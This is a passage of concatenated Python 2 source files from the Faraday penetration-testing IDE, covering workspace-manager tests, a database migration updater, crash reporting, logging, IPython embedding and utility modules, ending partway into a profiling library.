100 when(mappersManager).createMappers(dbConnector).thenReturn(True)
101
102 workspace_manager = WorkspaceManager(dbManager, mappersManager, changesController, mock())
103 workspace = workspace_manager.createWorkspace('test_workspace', 'a test workspace',
104 DBTYPE.FS)
105
106 verify(dbManager).createDb('test_workspace', DBTYPE.FS)
107 verify(mappersManager, times=0).createMappers(dbConnector)
108 verify(mappersManager, times=0).save(any())
109
110 def testOpenWorkspace(self):
111 dbManager = mock()
112 mappersManager = mock()
113 dbConnector = mock()
114 mappers = mock()
115 changesController = mock()
116 workspaceMapper = mock()
117
118 workspace = Workspace('test_workspace', 'a desc')
119
120 when(dbManager).getConnector('test_workspace').thenReturn(dbConnector)
121 when(mappersManager).getMapper(Workspace.__name__).thenReturn(workspaceMapper)
122 when(dbManager).getAllDbNames().thenReturn(['test_workspace'])
123 when(mappersManager).createMappers(dbConnector).thenReturn(True)
124 when(workspaceMapper).find('test_workspace').thenReturn(workspace)
125
126 workspace_manager = WorkspaceManager(dbManager, mappersManager, changesController, mock())
127
128 opened_workspace = workspace_manager.openWorkspace('test_workspace')
129
130 verify(dbManager).getConnector('test_workspace')
131 verify(mappersManager).createMappers(dbConnector)
132 verify(workspaceMapper).find('test_workspace')
133 self.assertEquals(opened_workspace.getName(), 'test_workspace')
134
135 def testOpenWorkspaceSetsChangesCallback(self):
136 dbManager = mock()
137 mappersManager = mock()
138 dbConnector = mock()
139 mappers = mock()
140 changesController = mock()
141 workspaceMapper = mock()
142
143 workspace = Workspace('test_workspace', 'a desc')
144
145 when(dbManager).getConnector('test_workspace').thenReturn(dbConnector)
146 when(mappersManager).getMapper(Workspace.__name__).thenReturn(workspaceMapper)
147 when(dbManager).getAllDbNames().thenReturn(['test_workspace'])
148 when(mappersManager).createMappers(dbConnector).thenReturn(True)
149 when(workspaceMapper).find('test_workspace').thenReturn(workspace)
150
151 workspace_manager = WorkspaceManager(dbManager, mappersManager, changesController, mock())
152
153 opened_workspace = workspace_manager.openWorkspace('test_workspace')
154
155 verify(changesController).watch(mappersManager, dbConnector)
156
157 def testCreateWorkspaceSetsChangesCallback(self):
158 dbManager = mock()
159 mappersManager = mock()
160 dbConnector = mock()
161 mappers = mock()
162 changesController = mock()
163
164 when(mappersManager).save(any()).thenReturn(True)
165 when(dbManager).createDb('test_workspace', DBTYPE.FS).thenReturn(dbConnector)
166 when(mappersManager).createMappers(dbConnector).thenReturn(True)
167
168 workspace_manager = WorkspaceManager(dbManager, mappersManager, changesController, mock())
169 workspace = workspace_manager.createWorkspace('test_workspace', 'a test workspace',
170 DBTYPE.FS)
171
172 verify(changesController).watch(mappersManager, dbConnector)
173
174 def testOpenWorkspaceNoneExisting(self):
175 dbManager = mock()
176 mappersManager = mock()
177 dbConnector = mock()
178 mappers = mock()
179 changesController = mock()
180
181 workspace = Workspace('test_workspace', 'a desc')
182 when(dbManager).getAllDbNames().thenReturn([])
183
184 workspace_manager = WorkspaceManager(dbManager, mappersManager, changesController, mock())
185 opened_workspace = workspace_manager.openWorkspace('test_workspace')
186
187
188 verify(mappersManager, times=0).createMappers(dbConnector)
189 verify(mappersManager, times=0).find('test_workspace')
190 self.assertFalse(opened_workspace, 'Workspace retrieved but non existing')
191
192 def testRemoveWorkspace(self):
193 dbManager = mock()
194 mappersManager = mock()
195 dbConnector = mock()
196 mappers = mock()
197 changesController = mock()
198
199 workspace = Workspace('test_workspace', 'a desc')
200 when(dbManager).removeDb('test_workspace').thenReturn(True)
201 when(dbManager).getAllDbNames().thenReturn(['test_workspace'])
202
203 workspace_manager = WorkspaceManager(dbManager, mappersManager, changesController, mock())
204 remove_ret = workspace_manager.removeWorkspace('test_workspace')
205
206 verify(dbManager).removeDb('test_workspace')
207 self.assertTrue(remove_ret, 'bbdd not removed')
208
209 def testSetActiveWorkspace(self):
210 work = Workspace('testname')
211 dbManager = mock()
212 mappersManager = mock()
213 changesController = mock()
214 workspace_manager = WorkspaceManager(dbManager, mappersManager, changesController, mock())
215
216 workspace_manager.setActiveWorkspace(work)
217
218 self.assertEquals(workspace_manager.active_workspace, work,
219 'active workspace not set')
220 self.assertTrue(workspace_manager.isActive(work.getName()),
221 'could not retrive as active workspace')
222
223 def testGetWorkspaceTypeCouchDb(self):
224 work = Workspace('testname')
225 dbManager = mock()
226 mappersManager = mock()
227 changesController = mock()
228 when(dbManager).getDbType('testname').thenReturn(DBTYPE.COUCHDB)
229 workspace_manager = WorkspaceManager(dbManager, mappersManager, changesController, mock())
230
231 wtype = workspace_manager.getWorkspaceType(work.getName())
232 self.assertEquals(wtype, 'CouchDB', 'Workspace type not returning correct value')
233
234 def testGetWorkspaceTypeFS(self):
235 work = Workspace('testname')
236 dbManager = mock()
237 mappersManager = mock()
238 changesController = mock()
239 when(dbManager).getDbType('testname').thenReturn(DBTYPE.FS)
240 workspace_manager = WorkspaceManager(dbManager, mappersManager, changesController, mock())
241
242 wtype = workspace_manager.getWorkspaceType(work.getName())
243 self.assertEquals(wtype, 'FS', 'Workspace type not returning correct value')
244
245 def testGetAvailableWorkspaceTypes(self):
246 dbManager = mock()
247 workspace_manager = WorkspaceManager(dbManager,
248 mock(),
249 mock(),
250 mock())
251 when(dbManager).getAvailableDBs().thenReturn([DBTYPE.COUCHDB, DBTYPE.FS])
252 retrievedTypes = workspace_manager.getAvailableWorkspaceTypes()
253
254 self.assertListEqual(['CouchDB', 'FS'], retrievedTypes,
255 "Workspaces available Types not set")
256
257 def testCloseWorkspace(self):
258 dbManager = mock()
259 mappersManager = mock()
260 changesController = mock()
261 reportManager = mock()
262
263
264 workspace_manager = WorkspaceManager(dbManager,
265 mappersManager,
266 changesController,
267 reportManager)
268
269 workspace_manager.closeWorkspace()
270 verify(changesController).unwatch()
271
272 def testResourceManager(self):
273 dbManager = mock()
274 mappersManager = mock()
275 changesController = mock()
276 reportManager = mock()
277
278
279 workspace_manager = WorkspaceManager(dbManager,
280 mappersManager,
281 changesController,
282 reportManager)
283
284 workspace_manager.resource()
285
286 verify(dbManager).reloadConfig()
287
288
289
290
291 if __name__ == '__main__':
292 unittest.main()
293
(New empty file)
0 #!/usr/bin/env python2
1 # -*- coding: utf-8 -*-
2 '''
3 Faraday Penetration Test IDE - Community Version
4 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
5 See the file 'doc/LICENSE' for the license information
6
7 '''
8 import subprocess
9 import pip
10 import couchdbkit
11 import model.workspace
12 import persistence.mappers.data_mappers as dm
13 from utils.logs import getLogger
14 from config.globals import *
15 logger = getLogger('Updater')
16
17 from config.configuration import getInstanceConfiguration
18 CONF = getInstanceConfiguration()
19 from utils.user_input import query_yes_no
20 import sys
21 import os
22 import shutil
23 from managers.all import ViewsManager
24
25 class Updater(object):
26 def doUpdates(self):
27 logger.info('Removing old pyc files')
28 subprocess.call(['find', '.', '-name', '*.pyc', '-delete'])
29 logger.info('Pulling latest Github Master copy')
30 if query_yes_no('Proceed?', 'yes'):
31 subprocess.call(['git', 'pull'])
32
33 logger.info('Checking qt3 libs')
34 QT().run()
35
36 logger.info('Installing missing dependencies in pip')
37 pip.main(['install', '-r', CONST_REQUIREMENTS_FILE, '--user'])
38
39 logger.info('Upgrading DBs to latest version')
40 DB().run()
41
42 logger.info('Upgrading DBs to latest version')
43 CouchViews().run()
44
45 class Update(object):
46 pass
47
48 class QT(Update):
49 def run(self):
50 try:
51 import qt
52 except:
53 for name in ['libqt.so', 'libqt.so.3', 'libqt.so.3.3',
54 'libqt.so.3.3.8', 'libqui.so', 'libqui.so.1',
55 'libqui.so.1.0', 'libqui.so.1.0.0']:
56
57 qt_path = '/usr/local/qt/lib/'
58 lib_path = '/usr/local/lib/'
59 if os.path.exists(os.path.join(qt_path, name)):
60 if not os.path.exists(os.path.join(lib_path, name)):
61 shutil.copy(os.path.join(qt_path, name), os.path.join(lib_path, name))
62 else:
63 logger.error("QT Dependencies not met. Have you run install.sh?")
64 logger.info("QT Module not installed. You will only be able to run --gui=no-ui.")
65 os.system('ldconfig')
66
67 class CouchViews(Update):
68 def run(self):
69 source_server = CONF.getCouchURI()
70 if not source_server:
71 logger.info("""No DB configuration found.
72 To upgrade your DB please configure a valid CouchDB URI in:
73 ~/.faraday/config/user.xml configuration file.""")
74 return
75
76 serv = couchdbkit.Server(source_server)
77
78 logger.info('We are about to upload CouchdbViews in Server [%s]' % source_server)
79 if not query_yes_no("Faraday won't behave correctly with older versions, proceed?", 'no'):
80 return
81
82 dbs = filter(lambda x: not x.startswith("_") and 'backup' not in x and \
83 'reports' not in x, serv.all_dbs())
84 logger.info('Dbs to upgrade: %s' % (', '.join(dbs)))
85
86
87 logger.info('Preparing updates on Couchdbs')
88 processed = 0
89 views_uploader = ViewsManager()
90 for db_name in dbs:
91 db_source = couchdbkit.Database("/".
92 join((source_server, db_name)))
93 views_uploader.addViews(db_source, force = True)
94
95
96 class DB(Update):
97 def __init__(self):
98 pass
99
100 def update_db(self, db_name):
101 if 'backup' in db_name:
102 logger.info('Database [%s] is a backup, ignoring' % db_name)
103 return
104
105 source_server = CONF.getCouchURI()
106 # Levanto los servidores
107 db_source = couchdbkit.Database("/".join((source_server, db_name)))
108 if db_source.doc_exist(db_name):
109 logger.info('DB: [%s] Already had suffer migration' % db_name)
110 return
111
112 # Primero replico para no cagarla
113 logger.info('Creating db backup: %s' % ('%s-backup' % db_name))
114 db_source.server.replicate(db_name, '%s-backup' % db_name, create_target = True)
115 db_bkp = couchdbkit.Database("/".join((source_server,
116 '%s-backup' % db_name)))
117 import time
118 while db_source.info()['doc_count'] < db_bkp.info()['doc_count']:
119 time.sleep(1)
120
121 # Crear documento 'workspace'
122 logger.info('Creating workspace document')
123 workspace = model.workspace.Workspace(db_name,
124 'Migrated Workspace ')
125
126 dict_workspace = dm.WorkspaceMapper(None).serialize(workspace)
127 db_source.save_doc(dict_workspace, force_update = True)
128 types = {}
129
130 logger.info('Updating modelobject documents')
131 for document in db_source.all_docs(include_docs=True):
132 # Alter parent id:
133 doc = document['doc']
134 if not('type' in doc):
135 continue
136 if doc['type'] == 'CommandRunInformation':
137 # Should set the workspace here!
138 continue
139 elif doc['type'] == 'Workspace':
140 # Already modified
141 continue
142 else:
143 # Modify the parent ID
144 parent = doc['parent']
145 if parent == 'None' or parent == '':
146 parent = None
147 else:
148 l_parent = doc['_id'].split('.')[:-1]
149 parent = '.'.join(l_parent)
150 doc['parent'] = parent
151 if doc['owned'] == '' or doc['owned'] is None:
152 doc['owned'] == False
153 else:
154 doc['owned'] = eval(doc['owned'])
155
156 document['doc'] = doc
157 db_source.save_doc(doc, force_update = True)
158
159 types[doc['type']] = types.get(doc['type'], 0) + 1
160
161 logger.info("Transformed %s objects" % str(types))
162
163
164 def run(self):
165 source_server = CONF.getCouchURI()
166 if not source_server:
167 logger.info("""No DB configuration found.
168 To upgrade your DB please configure a valid CouchDB URI in:
169 ~/.faraday/config/user.xml configuration file.""")
170 return
171
172 serv = couchdbkit.Server(source_server)
173
174 logger.info('We are about to upgrade dbs in Server [%s]' % source_server)
175 dbs = filter(lambda x: not x.startswith("_") and 'backup' not in x and 'reports' not in x, serv.all_dbs())
176 logger.info('Dbs to upgrade: %s' % (', '.join(dbs)))
177
178 if not query_yes_no('Proceed?', 'no'):
179 return
180
181 logger.info('Preparing updates on Couchdbs')
182 processed = 0
183 logger.info('About to upgrade %d dbs' % len(dbs))
184 for db_name in dbs:
185 logger.info('Updating db %s' % db_name)
186 try:
187 self.update_db(db_name)
188 processed = processed + 1
189 except Exception as e:
190 logger.error(e)
191 logger.info('Updated DB [%s]. %d remaining' % (db_name, len(dbs) - processed))
192 logger.info("Update process finish, be kind to review the process.\nBackuped databases won't be accesible")
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import hashlib
7 import uuid
8 import time
9 import socket
10 import struct
11 import sys
12
13 def get_hash(parts):
14
15 return hashlib.sha1("._.".join(parts)).hexdigest()
16
17 def new_id():
18 return uuid.uuid4()
19
20 def get_macaddress(host):
21 if sys.platform in ['linux','linux2']:
22 with open("/proc/net/arp") as fh:
23 for line in fh:
24 fields = line.strip().split()
25 if fields[0] == host:
26 return fields[3]
27 else:
28 return None
29
30 def gateway():
31 ip=""
32 if sys.platform in ['linux','linux2']:
33 with open("/proc/net/route") as fh:
34 for line in fh:
35 fields = line.strip().split()
36 if fields[1] != '00000000' or not int(fields[3], 16) & 2:
37 continue
38 ip=socket.inet_ntoa(struct.pack("<L", int(fields[2], 16)))
39 mac=get_macaddress(ip)
40 return [str(ip),str(mac)]
41 elif sys.platform in ['darwin']:
42
43 return None
44 else:
45 return None
46
47
48
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7 import restkit.errors
8 import model
9
10 def simple_decorator(decorator):
11 '''this decorator can be used to turn simple functions
12 into well-behaved decorators, so long as the decorators
13 are fairly simple. If a decorator expects a function and
14 returns a function (no descriptors), and if it doesn't
15 modify function attributes or docstring, then it is
16 eligible to use this. Simply apply @simple_decorator to
17 your decorator and it will automatically preserve the
18 docstring and function attributes of functions to which
19 it is applied.'''
20 def new_decorator(f):
21 g = decorator(f)
22 g.__name__ = f.__name__
23 g.__doc__ = f.__doc__
24 g.__dict__.update(f.__dict__)
25 return g
26
27
28 new_decorator.__name__ = decorator.__name__
29 new_decorator.__doc__ = decorator.__doc__
30 new_decorator.__dict__.update(decorator.__dict__)
31 return new_decorator
32
33
34 @simple_decorator
35 def modify_class_field(func):
36 def wrapper(self, *args, **kwargs):
37 self.cuca = "eehh"
38 return func(self, *args, **kwargs)
39 return wrapper
40
41
42 @simple_decorator
43 def updateLocalMetadata(func):
44 def wrapper(self, *args, **kwargs):
45 self.updateMetadata()
46 return func(self, *args, **kwargs)
47 return wrapper
48
49 @simple_decorator
50 def passPermissionsOrRaise(func):
51 def wrapper(self, *args, **kwargs):
52 self.checkPermissions(op = func.func_name)
53 return func(self, *args, **kwargs)
54 return wrapper
55
56
57 @simple_decorator
58 def trap_timeout(func):
59 def wrapper(self, *args, **kwargs):
60 try:
61 if self._lostConnection:
62 # REFACTOR
63 WorkspacePersister.addPendingAction(self, func, args, kwargs)
64 return func(self, *args, **kwargs)
65 except restkit.errors.RequestError as req_error:
66 self.lostConnectionResolv()
67 WorkspacePersister.stopThreads()
68 WorkspacePersister.addPendingAction(self, func, args, kwargs)
69 WorkspacePersister.notifyPersisterConnectionLost()
70 model.api.devlog("Operation [%s] timeout" % func.__name__)
71 return func(self, *args, **kwargs)
72 return wrapper
73
74
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 """
7 This module will help us to retrieve information
8 about the app state and system information and
9 report it to developers to be able to get information about
10 a crash or bug
11 """
12 import sys
13 import traceback
14 import threading
15 import model.guiapi
16 from cStringIO import StringIO
17 from gui.customevents import ShowExceptionCustomEvent
18 from gui.customevents import EXCEPTION_ID
19 from config.configuration import getInstanceConfiguration
20 import json
21 import time
22
23 CONF = getInstanceConfiguration()
24
25
26
27 def get_crash_log():
28 pass
29
30 def get_system_info():
31 pass
32
33
34 def exception_handler(type, value, tb):
35 """
36 This is a custom exception handler to replace the python original one.
37 The idea is to show the user a dialog with the information and let him/her
38 decide wether to send the developers a report with additional info.
39 The report is created and sent using the callback.
40 Since this handler may be called from threads, the dialog must be created
41 using qt custom events to avoid issues.
42 """
43 import requests
44 import hashlib
45 import platform
46 from pip.commands import freeze
47
48 text = StringIO()
49 traceback.print_exception(type, value, tb, file=text)
50
51
52
53
54 excepts = """
55 Traceback: %s
56 """ % (text.getvalue() )
57
58 exception_hash = hashlib.sha256(excepts).hexdigest()
59 os_dist = " ".join(platform.dist())
60 python_version = platform.python_version()
61 modules_info = ",".join([ "%s=%s" % (x.key, x.version)
62 for x in freeze.get_installed_distributions()])
63
64 python_dist = "Python %s \n Modules: [ %s ]" % (python_version, modules_info)
65
66 description = """
67 Exception: %s
68 Identifier: %s
69 Versions: OS: %s,
70 Python Versions: %s
71 """ % (excepts, exception_hash, os_dist, python_dist)
72
73
74
75 event = ShowExceptionCustomEvent(description, reportToDevelopers)
76 model.guiapi.postCustomEvent(event)
77 text.seek(0)
78 text.truncate()
79 del text
80
81
82
83
84
85
86
87 def reportToDevelopers(self, *description):
88 try:
89 import requests
90 import hashlib
91 import platform
92 from pip.commands import freeze
93
94 uri = CONF.getTktPostUri()
95 headers = json.loads(CONF.getApiParams())
96 params = json.loads(CONF.getApiParams())
97
98 params['description'] = description[0]
99 params['summary'] = 'autoreport %s' % time.time()
100
101 resp = requests.post(uri,
102 headers = headers,
103 data = params, timeout = 1, verify=True)
104 model.api.devlog("Report sent it to faraday server")
105 except Exception as e:
106 model.api.devlog("Error reporting to developers:")
107 model.api.devlog(e)
108
109 def installThreadExcepthook():
110 """
111 Workaround for sys.excepthook thread bug from
112 http://spyced.blogspot.com/2007/06/workaround-for-sysexcepthook-bug.html
113 (https://sourceforge.net/tracker/?func=detail&atid=105470&aid=1230540&group_id=5470).
114 Call once from __main__ before creating any threads.
115 If using psyco, call psyco.cannotcompile(threading.Thread.run)
116 since this replaces a new-style class method.
117 """
118 init_old = threading.Thread.__init__
119 def init(self, *args, **kwargs):
120 init_old(self, *args, **kwargs)
121 run_old = self.run
122 def run_with_except_hook(*args, **kw):
123 try:
124 run_old(*args, **kw)
125 except (KeyboardInterrupt, SystemExit):
126 raise
127 except Exception:
128 sys.excepthook(*sys.exc_info())
129 self.run = run_with_except_hook
130 threading.Thread.__init__ = init
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 """
7 This module contains some useful functions to embedd an IPython shell.
8 This allows to interactively test things.
9 TODO: create a QT Widget capable of running the IPython shell whitout
10 blocking the entire app. Kind of the http://ipython.scipy.org/moin/Cookbook/EmbeddingInGTK
11 """
12
13 import traceback
14 import model.api
15
16 IPYTHON_BANNER = "\n".join(["-"*45,
17 "Starting embedded IPython Shell...",
18 "Press CTRL + D to exit.",
19 "-"*45])
20
21 IPYTHON_EXIT_MSG = "\n".join(["-"*45,
22 "Exiting IPython Shell...",
23 "Returning normal execution.",
24 "-"*45])
25
26 __ipython_active = False
27
28
29
30
31 def embedd_ipython011(local_ns={}, global_ns={}):
32 from IPython.config.loader import Config
33 from IPython.frontend.terminal.embed import InteractiveShellEmbed
34 cfg = Config()
35 ipshell = InteractiveShellEmbed(config=cfg,
36 banner1 = IPYTHON_BANNER,
37 exit_msg = IPYTHON_EXIT_MSG)
38
39 ipshell(local_ns=local_ns, global_ns=global_ns)
40
41
42 def embedd_ipython010(local_ns={}, global_ns={}):
43 from IPython.Shell import IPShellEmbed
44 ipshell = IPShellEmbed( [""],
45 banner = IPYTHON_BANNER,
46 exit_msg = IPYTHON_EXIT_MSG
47 )
48 ipshell(local_ns=local_ns, global_ns=global_ns)
49
50
51 def embedd(local_ns={}, global_ns={}):
52 global __ipython_active
53 if __ipython_active:
54 return
55
56 __ipython_active = True
57 try:
58 import IPython
59 version = IPython.__version__.split(".")[1]
60 if int(version) > 10:
61 embedd_ipython011(local_ns, global_ns)
62 else:
63 embedd_ipython010(local_ns, global_ns)
64
65 except Exception, e:
66 msg = "An error ocurred while trying to embedd the IPython Shell\n%s"
67 model.api.log(msg % str(e), "ERROR")
68 model.api.devlog(msg % traceback.format_exc())
69 finally:
70 __ipython_active = False
71
72
73 def embeddQT(local_ns={}, global_ns={}):
74
75
76 global __ipython_active
77 if __ipython_active:
78 return
79 __ipython_active = True
80 try:
81 from IPython.Shell import IPShellQt
82 ipshell = IPShellQt( [""],
83 user_ns=local_ns,
84 user_global_ns=global_ns
85 )
86 ipshell.run()
87 except Exception:
88 model.api.devlog("An error ocurred while trying to embedd the IPython Shell\n%s" % traceback.format_exc())
89 finally:
90 __ipython_active = False
0 [loggers]
1 keys=root,simpleExample
2
3 [handlers]
4 keys=consoleHandler
5
6 [formatters]
7 keys=simpleFormatter
8
9 [logger_root]
10 level=INFO
11 handlers=consoleHandler
12
13 [logger_simpleExample]
14 level=INFO
15 handlers=consoleHandler
16 qualname=simpleExample
17 propagate=0
18
19 [handler_consoleHandler]
20 class=StreamHandler
21 level=INFO
22 formatter=simpleFormatter
23 args=(sys.stdout,)
24
25 [formatter_simpleFormatter]
26 format=%(asctime)s - %(name)s - %(levelname)s - %(message)s
27 datefmt=
28
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 import logging
10 import logging.config
11 import os
12
13 logname = 'log.conf'
14
15 logpath = os.path.dirname(os.path.realpath(__file__))
16 logfile = os.path.join(logpath, logname)
17 logging.config.fileConfig(logfile)
18
19 def getLogger(obj):
20 """Creates a logger named by a string or an object's class name.
21 Allowing logger to additionally accept strings as names for non-class loggings.
22 """
23 if type(obj) is str:
24 logger = logging.getLogger(obj)
25 else:
26 logger = logging.getLogger(obj.__class__.__name__)
27 return logger
0 #!/usr/bin/env python
1
2 '''
3 Faraday Penetration Test IDE - Community Version
4 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
5 See the file 'doc/LICENSE' for the license information
6
7 '''
8 '''
9 File: pickled_dict.py
10 Author: Daniel J. Foguelman
11 Description: A persist-to-disk picklebased dictionary with all the normal features.
12 '''
13
14 import cPickle as pickle
15 import IPython
16 import os
17 import threading
18 import unittest
19
20 class PickleBackedDict(dict):
21 def __init__(self, path, filename = None):
22 self.path = os.path.join(path, filename) if not filename is None else path
23 self.lock = threading.Lock()
24 if os.path.exists(self.path):
25 with open(self.path, 'rb') as f:
26 self.dict = pickle.load(f)
27 else:
28 self.dict = {}
29
30 def cleanUp(self):
31 with self.lock:
32 with open(self.path, 'wb', 0) as writer:
33 self.dict = {}
34 pickle.dump(self.dict, writer)
35
36
37 def __setitem__(self, key, value):
38 with self.lock:
39 with open(self.path, 'wb', 0) as writer:
40 self.dict.__setitem__(key, value)
41 pickle.dump(self.dict, writer)
42
43 def __getitem__(self, key):
44 return self.dict.__getitem__(key)
45
46 def __repr__(self):
47 return self.dict.__repr__()
48
49 def __str__(self):
50 return self.dict.__str__()
51
52 class TestPickledDict(unittest.TestCase):
53 def setUp(self):
54 pass
55
56 def tearDown(self):
57 """docstring for tearDown"""
58 pass
59
60 def test_time_insert_and_retrieve(self):
61 from time import time
62 d_file = os.tmpfile()
63 d = PickleBackedDict(path = d_file.name)
64
65
66 it = time() * 1000
67 for i in range(10):
68 d[i] = range(50)
69 et = time() * 1000
70
71 self.assertTrue( et - it < 2500, "Inserting a millon records takes more than a 2.5sec")
72
73 it = time() * 1000
74 a = d[3]
75 et = time() * 1000
76 self.assertTrue( et - it < 500, "reading is a heavy task")
77
78 if __name__ == '__main__':
79 unittest.main()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 '''
7 File: plot_history.py
8 Author: Dj Foguel
9 Description: This is a library to graph the MetadataHistoryObject. I'll produce a png until we have this feature attached to the UI.
10 Dependencies: pydot
11 '''
12 import sys
13 from os.path import join
14 from os import getcwd
15 sys.path.append(getcwd())
16
17 from model.hosts import Host, HostApplication, Interface, Service
18 from model.common import ModelObjectVuln, MetadataHistory
19 import model.controller as controller
20
21
22 def plot_graph():
23 import pydot
24
25
26
27
28
29
30
31 edges_list = []
32 metadata = MetadataHistory()
33
34 for obj in ModelObjectIterator():
35 history = metadata.getHistory(obj.getID())
36 for i in range(len(history) - 1):
37 f = lambda x: "%s -> %s" % (obj.getID(), x.update_controller_action)
38 edge = (f(history[i]), f(history[i + 1]))
39 edges_list.append(edge)
40
41 graph = pydot.graph_from_edges(edges_list, directed=True)
42
43 graph.write_png("/home/danito/.faraday/history.png")
44
45
46 class ModelObjectIterator(object):
47 """This should solve the iteration problem over ModelObjects"""
48 def __init__(self, **kwarg):
49 self._to_visit = []
50 self._visited = []
51 self._model_controller = controller.ModelController()
52 self._model_controller.setPersistDir(dir = "/home/danito/.faraday/persistence/Untitled")
53 self._model_controller.loadPersistedData(full = True)
54 all_hosts = self._model_controller.getAllHosts()
55
56 self._to_visit.extend(all_hosts)
57
58 def __iter__(self):
59 return self
60
61 def next(self):
62 next_it = None
63 try:
64 next_it = self._to_visit.pop()
65 if next_it in self._visited:
66 raise IndexError("No double visit on ModelObject tree")
67 except IndexError:
68 raise StopIteration
69
70 self._visited.append(next_it)
71 self._to_visit.extend(self._findFollowers(next_it))
72 return next_it
73
74 def _findFollowers(self, model_obj):
75 followers = []
76 cl_name = model_obj.__class__.__name__
77 dispatch_methods = follows[cl_name]
78
79 for dm in dispatch_methods:
80 followers.extend(dm(model_obj))
81
82 return followers
83
84
85 follows = { "Host": [Host.getAllApplications, Host.getAllInterfaces, Host.getAllServices, Host.getVulns],
86 "Interface": [Interface.getAllServices, Interface.getVulns],
87 "HostApplication": [HostApplication.getAllServices, HostApplication.getVulns],
88 "Service": [Service.getAllInterfaces, Service.getAllApplications, Service.getVulns]
89 }
90
91
92 if __name__ == '__main__':
93
94
95 plot_graph()
0 """
1 Profiling hooks
2
3 This module contains a couple of decorators (`profile` and `coverage`) that
4 can be used to wrap functions and/or methods to produce profiles and line
5 coverage reports. There's a third convenient decorator (`timecall`) that
6 measures the duration of function execution without the extra profiling
7 overhead.
8
9 Usage example (Python 2.4 or newer)::
10
11 from profilehooks import profile, coverage
12
13 @profile # or @coverage
14 def fn(n):
15 if n < 2: return 1
16 else: return n * fn(n-1)
17
18 print fn(42)
19
20 Usage example (Python 2.3 or older)::
21
22 from profilehooks import profile, coverage
23
24 def fn(n):
25 if n < 2: return 1
26 else: return n * fn(n-1)
27
28 # Now wrap that function in a decorator
29 fn = profile(fn) # or coverage(fn)
30
31 print fn(42)
32
33 Reports for all thusly decorated functions will be printed to sys.stdout
34 on program termination. You can alternatively request for immediate
35 reports for each call by passing immediate=True to the profile decorator.
36
37 There's also a @timecall decorator for printing the time to sys.stderr
38 every time a function is called, when you just want to get a rough measure
39 instead of a detailed (but costly) profile.
40
41 Caveats
42
43 A thread on python-dev convinced me that hotshot produces bogus numbers.
44 See http://mail.python.org/pipermail/python-dev/2005-November/058264.html
45
46 I don't know what will happen if a decorated function will try to call
47 another decorated function. All decorators probably need to explicitly
48 support nested profiling (currently TraceFuncCoverage is the only one
49 that supports this, while HotShotFuncProfile has support for recursive
50 functions.)
51
52 Profiling with hotshot creates temporary files (*.prof for profiling,
53 *.cprof for coverage) in the current directory. These files are not
54 cleaned up. Exception: when you specify a filename to the profile
55 decorator (to store the pstats.Stats object for later inspection),
56 the temporary file will be the filename you specified with '.raw'
57 appended at the end.
58
59 Coverage analysis with hotshot seems to miss some executions resulting
60 in lower line counts and some lines errorneously marked as never
61 executed. For this reason coverage analysis now uses trace.py which is
62 slower, but more accurate.
63
64 Copyright (c) 2004--2008 Marius Gedminas <[email protected]>
65 Copyright (c) 2007 Hanno Schlichting
66 Copyright (c) 2008 Florian Schulze
67
68 Released under the MIT licence since December 2006:
69
70 Permission is hereby granted, free of charge, to any person obtaining a
71 copy of this software and associated documentation files (the "Software"),
72 to deal in the Software without restriction, including without limitation
73 the rights to use, copy, modify, merge, publish, distribute, sublicense,
74 and/or sell copies of the Software, and to permit persons to whom the
75 Software is furnished to do so, subject to the following conditions:
76
77 The above copyright notice and this permission notice shall be included in
78 all copies or substantial portions of the Software.
79
80 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
81 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
82 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
83 AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
84 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
85 FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
86 DEALINGS IN THE SOFTWARE.
87
88 (Previously it was distributed under the GNU General Public Licence.)
89 """
90
91
92 __author__ = "Marius Gedminas ([email protected])"
93 __copyright__ = "Copyright 2004-2009 Marius Gedminas"
94 __license__ = "MIT"
95 __version__ = "1.4"
96 __date__ = "2009-03-31"
97
98
99 import atexit
100 import inspect
101 import sys
102 import re
103
104
105 from profile import Profile
106 import pstats
107
108
109 try:
110 import hotshot
111 import hotshot.stats
112 except ImportError:
113 hotshot = None
114
115
116 import trace
117
118
119 if hotshot is not None:
120 import _hotshot
121 import hotshot.log
122
123
124 try:
125 import cProfile
126 except ImportError:
127 cProfile = None
128
129
130 import time
131
132
133
134 AVAILABLE_PROFILERS = {}
135
136
137 def profile(fn=None, skip=0, filename=None, immediate=False, dirs=False,
138 sort=None, entries=40,
139 profiler=('cProfile', 'profile', 'hotshot')):
140 """Mark `fn` for profiling.
141
142 If `skip` is > 0, first `skip` calls to `fn` will not be profiled.
143
144 If `immediate` is False, profiling results will be printed to
